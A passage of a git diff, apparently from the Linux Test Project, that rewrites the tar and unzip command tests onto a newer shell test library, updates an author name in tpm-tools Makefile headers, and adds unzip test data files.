-    if [ $RC1 -eq 0 -a $RC2 -eq 0 -a $RC3 -eq 0 ]; then
-	$LTPBIN/tst_resm TPASS 	"tar: tvf option listed all its contents"
-    else
-	$LTPBIN/tst_res TFAIL $LTPTMP/tar_tst.out \
-	    "tar: failed to list all the files in the archive. Reason:"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
-
-
-# Test #3
-# Test if tar command can create a compressed tar file 'tar cvf <tar filename>
-# <list of files>'
-
-export TCID=tar03
-export TST_COUNT=3
-
-$LTPBIN/tst_resm TINFO \
-    "TEST #3: tar command with zcvf options creates an compressed archive file"
-
-touch $LTPTMP/tar_tstf1 $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3
-
-tar zcvf $LTPTMP/tar_tstf.tgz $LTPTMP/tar_tstf1 \
-    $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3 > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-if [ $RC -eq 0 ]; then
-    if [ -f $LTPTMP/tar_tstf.tgz ]; then
-	file $LTPTMP/tar_tstf.tgz | grep "gzip compressed data" \
-            > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-	if [ $RC -eq 0 ]; then
-	    $LTPBIN/tst_resm TPASS \
-		"tar: zcvf option created a compressed tar file."
-	else
-	    $LTPBIN/tst_res TFAIL $LTPTMP/tar_tst.out \
-		"tar: zcvf option failed to create a compressed tar file. Reason:"
-	    TFAILCNT=$(( $TFAILCNT+1 ))
-	fi
-    else
-	$LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-	    "tar: cvf option failed to create compressed archive.  Reason"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-	"tar: command failed while creating compressed archive. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# Test #4
-# Test if tar command with xvf can untar an archive file created by tar.
-
-export TCID=tar04
-export TST_COUNT=4
-
-$LTPBIN/tst_resm TINFO \
-    "TEST #4: tar command with xvf options extracts files from an archive file"
-
-if [ -f $LTPTMP/tar_tstf.tar ]; then
-    echo "tar file exists" > /dev/null 2>&1
-else
-    touch $LTPTMP/tar_tstf1 $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3
-
-    tar cvf $LTPTMP/tar_tstf.tar $LTPTMP/tar_tstf1 \
-	$LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3 > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-    if [ $RC -eq 0 ]; then
-	if [ -f $LTPTMP/tar_tstf.tar ];	then
-	    $LTPBIN/tst_resm TINFO "tar: cvf option created a tar file."
-	else
-	    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-		"tar: cvf option failed to create archive.  Reason"
-	    TFAILCNT=$(( $TFAILCNT+1 ))
-	fi
-    else
-	$LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-	    "tar: command failed. Reason:"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
-
-tar xvf $LTPTMP/tar_tstf.tar > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-if [ $? -eq 0 ]; then
-   if [ -d $LTPTMP -a -f $LTPTMP/tar_tstf1 -a -f $LTPTMP/tar_tstf2 -a -f $LTPTMP/tar_tstf3 ]; then
-       $LTPBIN/tst_resm TPASS "tar: xvf option extracted the archive file."
-   else
-       $LTPBIN/tst_res TFAIL $LTPTMP/tar_tst.out \
-	   "tar: xvf option failed to extract. Reason:"
-       TFAILCNT=$(( $TFAILCNT+1 ))
-   fi
-else
-    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-	"tar: command failed while extracting files. Reason"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-rm -f $LTPTMP/tar_tst*
-
-# Test #5
-# Test if tar command can extract a compressed tar file 'tar zxvf
-# <tar filename> <list of files>'
-
-export TCID=tar05
-export TST_COUNT=5
-
-$LTPBIN/tst_resm TINFO \
-	"TEST #5: tar command with zxvf options extracts a compressed archive file"
-
-if [ -f tar_tstf.tgz ]; then
-    echo "compressed archive file already exists" > /dev/null 2>&1
-else
-
-    touch $LTPTMP/tar_tstf1 $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3
-    tar zcvf $LTPTMP/tar_tstf.tgz $LTPTMP/tar_tstf1 \
-	$LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3 > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-	if [ $RC -eq 0 ]; then
-	    if [ -f $LTPTMP/tar_tstf.tgz ]; then
-		file $LTPTMP/tar_tstf.tgz | grep "gzip compressed data" \
-		    > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-		if [ $RC -eq 0 ]; then
-		    $LTPBIN/tst_resm TINFO  \
-			"tar: zcvf option created a compressed tar file."
+	if [ -z "$verbose" ]; then
+		if [ -s tar.out ]; then
+			tst_res TFAIL "Tar produced unexpected output"
+			cat tar.out
 		else
-		    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-			"tar: zcvf option failed to create a compressed tar file. Reason:"
-		    TFAILCNT=$(( $TFAILCNT+1 ))
+			tst_res TPASS "Tar produced no output"
 		fi
-	    else
-		$LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-		    "tar: cvf option failed to create compressed archive.  Reason"
-		TFAILCNT=$(( $TFAILCNT+1 ))
-	    fi
-	else
-	    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-		"tar: command failed while creating compressed archive. Reason:"
-	    TFAILCNT=$(( $TFAILCNT+1 ))
+
+		return
 	fi
-fi
 
-tar zxvf $LTPTMP/tar_tstf.tgz > $LTPTMP/tar_tst.out 2>&1 || RC=$?
+	if [ $(wc -l < tar.out) != $# ]; then
+		tst_res TFAIL "Unexpected number of lines in tar.out"
+		cat tar.out
+		return
+	fi
 
-if [ $? -eq 0 ]; then
-    if [ -d $LTPTMP -a -f $LTPTMP/tar_tstf1 -a -f $LTPTMP/tar_tstf2 -a -f $LTPTMP/tar_tstf3 ]; then
-	$LTPBIN/tst_resm TPASS \
-	    "tar: zxvf option extracted the compressed archive file."
-    else
-	$LTPBIN/tst_res TFAIL $LTPTMP/tar_tst.out \
-	    "tar: zxvf option failed to extract compressed archive. Reason:"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-	"tar: command failed while extracting compressed archive files. Reason"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
+	for i in $@; do
+		if ! grep -q $i tar.out; then
+			tst_res TFAIL "File $i missing in listing"
+			return
+		fi
+	done
 
-rm -f $LTPTMP/tar_tst*
+	tst_res TPASS "Listing in tar.out is correct"
+}
 
-exit $TFAILCNT
+check_content()
+{
+	local fname="$1"
+	local verbose="$2"
+	shift 2
+
+	EXPECT_PASS tar t${verbose}f "$fname" \> tar.out
+	check_listing v $@
+}
+
+check_files()
+{
+	for i in $@; do
+		if ! [ -f $i ]; then
+			tst_res TFAIL "Missing file $i in extracted archive"
+			cat tar.out
+			return
+		fi
+	done
+
+	tst_res TPASS "Files were uncompressed correctly"
+}
+
+check_extraction()
+{
+	local fname="$1"
+	local verbose="$2"
+	shift 2
+
+	EXPECT_PASS tar x${verbose}f $fname \> tar.out
+	check_listing "${verbose}" $@
+	check_files $@
+	ROD rm $@
+}
+
+test_tar()
+{
+	local comp="$1"
+	local verbose="$2"
+	local fname="$3"
+	local i
+
+	# Create archive
+	ROD touch $TAR_FILES
+	EXPECT_PASS tar c${verbose}f$comp $fname $TAR_FILES \> tar.out
+	check_listing "$verbose" $TAR_FILES
+
+	# Diff filesystem against the archive, should be the same at this point
+	EXPECT_PASS tar d${verbose}f $fname \> tar.out
+	check_listing "$verbose" $TAR_FILES
+
+	ROD rm $TAR_FILES
+
+	# Check content listing
+	check_content $fname "$verbose" $TAR_FILES
+
+	# Check decompression
+	check_extraction $fname "$verbose" $TAR_FILES
+
+	# Append to an archive, only possible for uncompressed archive
+	if [ -z "$comp" ]; then
+		ROD touch file4
+		EXPECT_PASS tar r${verbose}f $fname file4 \> tar.out
+		check_listing "$verbose" file4
+		check_content $fname "$verbose" $TAR_FILES file4
+		ROD rm file4
+
+		check_extraction $fname "$verbose" $TAR_FILES file4
+	fi
+
+	ROD rm $fname
+}
+
+do_test()
+{
+	case $1 in
+	1) test_tar ""  "v" "test.tar";;
+	2) test_tar "z" "v" "test.tar.gz";;
+	3) test_tar "j" "v" "test.tar.bz2";;
+	4) test_tar ""  ""  "test.tar";;
+	5) test_tar "z" ""  "test.tar.gz";;
+	6) test_tar "j" ""  "test.tar.bz2";;
+	esac
+}
+
+tst_run
diff --git a/testcases/commands/tpm-tools/Makefile b/testcases/commands/tpm-tools/Makefile
index 191f2b8..8b5b205 100644
--- a/testcases/commands/tpm-tools/Makefile
+++ b/testcases/commands/tpm-tools/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/tpm-tools/tpm/Makefile b/testcases/commands/tpm-tools/tpm/Makefile
index 3c087ba..f62cc14 100644
--- a/testcases/commands/tpm-tools/tpm/Makefile
+++ b/testcases/commands/tpm-tools/tpm/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_changeauth/Makefile b/testcases/commands/tpm-tools/tpm/tpm_changeauth/Makefile
index 91177d8..a52e386 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_changeauth/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_changeauth/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_clear/Makefile b/testcases/commands/tpm-tools/tpm/tpm_clear/Makefile
index eb93af7..96ed9d8 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_clear/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_clear/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_getpubek/Makefile b/testcases/commands/tpm-tools/tpm/tpm_getpubek/Makefile
index bd87204..a42b51d 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_getpubek/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_getpubek/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_restrictpubek/Makefile b/testcases/commands/tpm-tools/tpm/tpm_restrictpubek/Makefile
index 183d6cb..4a646a0 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_restrictpubek/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_restrictpubek/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_selftest/Makefile b/testcases/commands/tpm-tools/tpm/tpm_selftest/Makefile
index 353a822..589ae8e 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_selftest/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_selftest/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_takeownership/Makefile b/testcases/commands/tpm-tools/tpm/tpm_takeownership/Makefile
index bfbb413..9803f04 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_takeownership/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_takeownership/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpm/tpm_version/Makefile b/testcases/commands/tpm-tools/tpm/tpm_version/Makefile
index 6c21852..26e64f2 100644
--- a/testcases/commands/tpm-tools/tpm/tpm_version/Makefile
+++ b/testcases/commands/tpm-tools/tpm/tpm_version/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/Makefile b/testcases/commands/tpm-tools/tpmtoken/Makefile
index 63565d9..f9c6fde 100644
--- a/testcases/commands/tpm-tools/tpmtoken/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/Makefile b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/Makefile
index 964ac8e..130d839 100644
--- a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_init/Makefile b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_init/Makefile
index b57b960..81e84dd 100644
--- a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_init/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_init/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_objects/Makefile b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_objects/Makefile
index 53080c9..9ebaf6b 100644
--- a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_objects/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_objects/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_protect/Makefile b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_protect/Makefile
index 112e8cf..8d1ffae 100644
--- a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_protect/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_protect/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_setpasswd/Makefile b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_setpasswd/Makefile
index e47ffa5..1c85dc0 100644
--- a/testcases/commands/tpm-tools/tpmtoken/tpmtoken_setpasswd/Makefile
+++ b/testcases/commands/tpm-tools/tpmtoken/tpmtoken_setpasswd/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/commands/unzip/Makefile b/testcases/commands/unzip/Makefile
index 7eecf16..fdebbce 100644
--- a/testcases/commands/unzip/Makefile
+++ b/testcases/commands/unzip/Makefile
@@ -17,42 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-# Only build and install if we have the zip command.
-HAVE_ZIPTOOLS		:= $(shell if which zip >/dev/null; then echo yes; else echo no; fi)
-
-DIR			:= tst_unzip.dir
-
-RM			+= -r
-
-TESTCASES_DATA_DIR	:= $(DESTDIR)/$(prefix)/testcases/data
-
-ZIPFILE			:= $(TESTCASES_DATA_DIR)/tst_unzip_file.zip
-
-ifeq ($(HAVE_ZIPTOOLS),yes)
-CLEAN_TARGETS		:= $(DIR) $(ZIPFILE)
 INSTALL_TARGETS		:= unzip_tests.sh
-endif
 
-INSTALL_DEPS		+= $(ZIPFILE)
-
-$(TESTCASES_DATA_DIR):
-	mkdir -p "$@"
-
-$(ZIPFILE): | $(TESTCASES_DATA_DIR) $(DIR)
-	zip -r "$@" $(DIR)
-	chmod 00644 "$@"
-
-# This target should be auto-removed by Make
-$(DIR): $(abs_srcdir)/unzip_genfile.sh
-	$(SHELL) "$^" $(DIR)
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
-
-INSTALL_TARGETS		:= $(ZIPFILE)
+include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/unzip/datafiles/Makefile
similarity index 74%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/unzip/datafiles/Makefile
index f37f21b..1b993f6 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/unzip/datafiles/Makefile
@@ -1,7 +1,5 @@
 #
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Linux Test Project.
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -12,14 +10,10 @@
 #    but WITHOUT ANY WARRANTY; without even the implied warranty of
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
-#
-# Garrett Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= ldd01
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+INSTALL_DIR		:= testcases/data/unzip01
+INSTALL_TARGETS		:= test.zip dir.out
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/unzip/datafiles/dir.out b/testcases/commands/unzip/datafiles/dir.out
new file mode 100644
index 0000000..64f27d4
--- /dev/null
+++ b/testcases/commands/unzip/datafiles/dir.out
@@ -0,0 +1,16 @@
+dir/d1
+dir/d1/f1
+dir/d1/f2
+dir/d1/f3
+dir/d2
+dir/d2/d1
+dir/d2/d2
+dir/d2/d3
+dir/d2/f1
+dir/d2/f2
+dir/d2/f3
+dir/d3
+dir/d3/d1
+dir/d3/d2
+dir/d3/d3
+dir/d4
diff --git a/testcases/commands/unzip/datafiles/test.zip b/testcases/commands/unzip/datafiles/test.zip
new file mode 100644
index 0000000..835331a
--- /dev/null
+++ b/testcases/commands/unzip/datafiles/test.zip
Binary files differ
diff --git a/testcases/commands/unzip/unzip_genfile.sh b/testcases/commands/unzip/unzip_genfile.sh
deleted file mode 100755
index be4d56f..0000000
--- a/testcases/commands/unzip/unzip_genfile.sh
+++ /dev/null
@@ -1,62 +0,0 @@
-#! /bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software		      ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##									      ##
-################################################################################
-#
-# File:			unzip_genfile.sh
-#
-# Description:	This program will generate the zip file that will be used to
-#               test the unzip program.
-#
-# Author:		Manoj Iyer manjo@mail.utexas.edu
-#
-# History:
-# 	Mar 03 2003 - Created - Manoj Iyer.
-
-# Create directories and fill them with files.
-
-numdirs=3                     # number of directories to create
-numfiles=3                    # number of file to create in each directory
-dirname=$1		      # name of the base directory
-dircnt=0                      # index into number of dirs created in loop
-fcnt=0                        # index into number of files created in loop
-RC=0                          # return value from commands
-
-while [ $dircnt -lt $numdirs ]
-do
-	dirname=$dirname/d.$dircnt
-	mkdir -p $dirname || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		echo "$0: ERROR: while creating $numdirs dirs." 1>&2
-		exit $RC
-	fi
-	fcnt=0
-	while [ $fcnt -lt $numfiles ]
-	do
-		touch $dirname/f.$fcnt
-		if [ $RC -ne 0 ]
-		then
-			echo "$0: ERROR: creating $numdirs dirs." 1>&2
-			exit $RC
-		fi
-		fcnt=$(($fcnt+1))
-	done
-	dircnt=$(($dircnt+1))
-done
diff --git a/testcases/commands/unzip/unzip_tests.sh b/testcases/commands/unzip/unzip_tests.sh
index 9a7a7b5..f67b5da 100755
--- a/testcases/commands/unzip/unzip_tests.sh
+++ b/testcases/commands/unzip/unzip_tests.sh
@@ -2,6 +2,8 @@
 ################################################################################
 ##                                                                            ##
 ## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author:        Manoj Iyer, manjo@mail.utexas.edu                          ##
+## Copyright (c) Cyril Hrubis <chrubis@suse.cz>                               ##
 ##                                                                            ##
 ## This program is free software;  you can redistribute it and#or modify      ##
 ## it under the terms of the GNU General Public License as published by       ##
@@ -14,179 +16,84 @@
 ## for more details.                                                          ##
 ##                                                                            ##
 ## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
 ##                                                                            ##
 ################################################################################
 #
-# File :         unzip_tests.sh
-#
-# Description:   Test Basic functionality of unzip command. Pass in the zip
-#		 file to test.
-#
-# Author:        Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:       Mar 03 2003 - Created - Manoj Iyer.
+# Tests basic functionality of unzip command.
 #
 
+TST_ID="unzip01"
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="unzip"
+. tst_test.sh
 
-
-# Function: 	chk_ifexists
-#
-# Description:  - Check if command required for this test exits.
-#
-# Input:        - $1 - calling test case.
-#               - $2 - command that needs to be checked.
-#
-# Return:		- zero on success.
-# 				- non-zero on failure.
-
-chk_ifexists()
+setup()
 {
-	RC=0
-	which $2 > "$PWD/tst_unzip.err" || RC=$?
-	if [ $? -ne 0 ]
-	then
-		tst_brkm TBROK NULL "$1: command $2 not found."
-	fi
-	return $RC
+	cat > unzip_exp.out <<EOF
+Archive:  $TST_DATAROOT/test.zip
+   creating: dir/
+   creating: dir/d1/
+   creating: dir/d2/
+   creating: dir/d3/
+   creating: dir/d4/
+ extracting: dir/d1/f1
+ extracting: dir/d1/f2
+ extracting: dir/d1/f3
+   creating: dir/d2/d1/
+   creating: dir/d2/d2/
+   creating: dir/d2/d3/
+ extracting: dir/d2/f1
+ extracting: dir/d2/f2
+ extracting: dir/d2/f3
+   creating: dir/d3/d1/
+   creating: dir/d3/d2/
+   creating: dir/d3/d3/
+EOF
 }
 
-
-# Function: 	cleanup
-#
-# Description:  - remove temporaty files and directories.
-#
-# Return:		- zero on success.
-# 				- non-zero on failure.
-cleanup()
+stable_ls()
 {
-	cd /
-	# remove all the temporary files created by this test.
-	tst_resm TINFO "CLEAN: removing \"$LTPTMP\""
-	rm -fr "$LTPTMP"
-}
+	local i
 
+	for i in $(echo "$1/*" | sort); do
 
-# Function: init
-#
-# Description:  - Check if command required for this test exits.
-#               - Create temporary directories required for this test.
-#               - Initialize global variables.
-#
-# Return:		- zero on success.
-# 				- non-zero on failure.
-init()
-{
-	# Initialize global variables.
-	export RC=0
-	export TST_TOTAL=1
-	export TCID="unzip01"
-	export TST_COUNT=0
-
-	# Inititalize cleanup function.
-
-	# create the temporary directory used by this testcase
-	LTPTMP=`mktemp -d $$.XXXXXX` || tst_resm TBROK "Unable to create temporary directory with: mktemp -d $$.XXXXXX"
-	trap "cleanup" 0
-	cd "$LTPTMP"
-
-	# check if commands tst_*, unzip, awk, etc exists.
-	chk_ifexists INIT tst_resm  || return $RC
-	chk_ifexists INIT unzip     || return $RC
-	chk_ifexists INIT mkdir     || return $RC
-	chk_ifexists INIT awk       || return $RC
-
-	# create expected output files. tst_unzip.exp
-	cat > $PWD/tst_unzip.out.exp <<-EOF
-	Archive:  $1
-    creating: tst_unzip.dir/
-    creating: tst_unzip.dir/d.0/
-    extracting: tst_unzip.dir/d.0/f.0
-    extracting: tst_unzip.dir/d.0/f.1
-    extracting: tst_unzip.dir/d.0/f.2
-    creating: tst_unzip.dir/d.0/d.1/
-    extracting: tst_unzip.dir/d.0/d.1/f.0
-    extracting: tst_unzip.dir/d.0/d.1/f.1
-    extracting: tst_unzip.dir/d.0/d.1/f.2
-    creating: tst_unzip.dir/d.0/d.1/d.2/
-    extracting: tst_unzip.dir/d.0/d.1/d.2/f.0
-    extracting: tst_unzip.dir/d.0/d.1/d.2/f.1
-    extracting: tst_unzip.dir/d.0/d.1/d.2/f.2
-	EOF
-
-	return $RC
-}
-
-
-# Function: 	test01
-#
-# Description:  - Test that unzip can uncompress .zip file correctly.
-#               - Execute unzip command on a .zip file, save output to file.
-#               - If unzip exits with a non-zero value or, the expected output
-#                 is different from actual output, test fails.
-#
-# Return:		- zero on success.
-# 				- non-zero on failure.
-test01()
-{
-	count=0
-	files=" "
-	filesize=0
-	zipfile="$1"
-
-	TCID=unzip01
-	TST_COUNT=1
-
-	tst_resm TINFO "Test #1: unzip command un-compresses a .zip file."
-
-	unzip "${zipfile}" > "$PWD/tst_unzip.out" || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		tst_res TFAIL "$PWD/tst_unzip.out" \
-			"Test #1: unzip command failed. Return value = $RC. Details:"
-		return $RC
-	else
-		sort -o "$PWD/tst_unzip.out" "$PWD/tst_unzip.out"
-		sort -o "$PWD/tst_unzip.out.exp" "$PWD/tst_unzip.out.exp"
-
-		diff -iwB "$PWD/tst_unzip.out" "$PWD/tst_unzip.out.exp" >\
-    		          "$PWD/tst_unzip.out.err" || RC=$?
-
-		if [ $RC -ne 0 ]
-		then
-			tst_res TFAIL "$PWD/tst_unzip.out.err" \
-				"Test #1: unzip output differs from expected output. Details"
-		else
-			tst_resm TINFO "Test #1: check if \"$PWD/tst_unzip.dir\" exits."
-			if ! [ -d $PWD/tst_unzip.dir ]
-			then
-				tst_resm TFAIL \
-					"Test #1: unzip did not uncompress the .zip file"
-				$((RC+1))
-			else
-				tst_resm TINFO \
-					"Test #1: \"$PWD/tst_unzip.dir\" was created by unzip"
-				tst_resm TPASS \
-				   "Test #1: unzip can uncompress .zip file correctly."
-			fi
+		if ! [ -e "$i" ]; then
+			return
 		fi
-	fi
 
-	return $RC
+		echo "$i"
+
+		if [ -d "$i" ]; then
+			stable_ls "$i"
+		fi
+	done
 }
 
-# Function:	main
-#
-# Description:	- Execute all tests and report results.
-#
-# Exit:			- zero on success
-#               - non-zero on failure.
+do_test()
+{
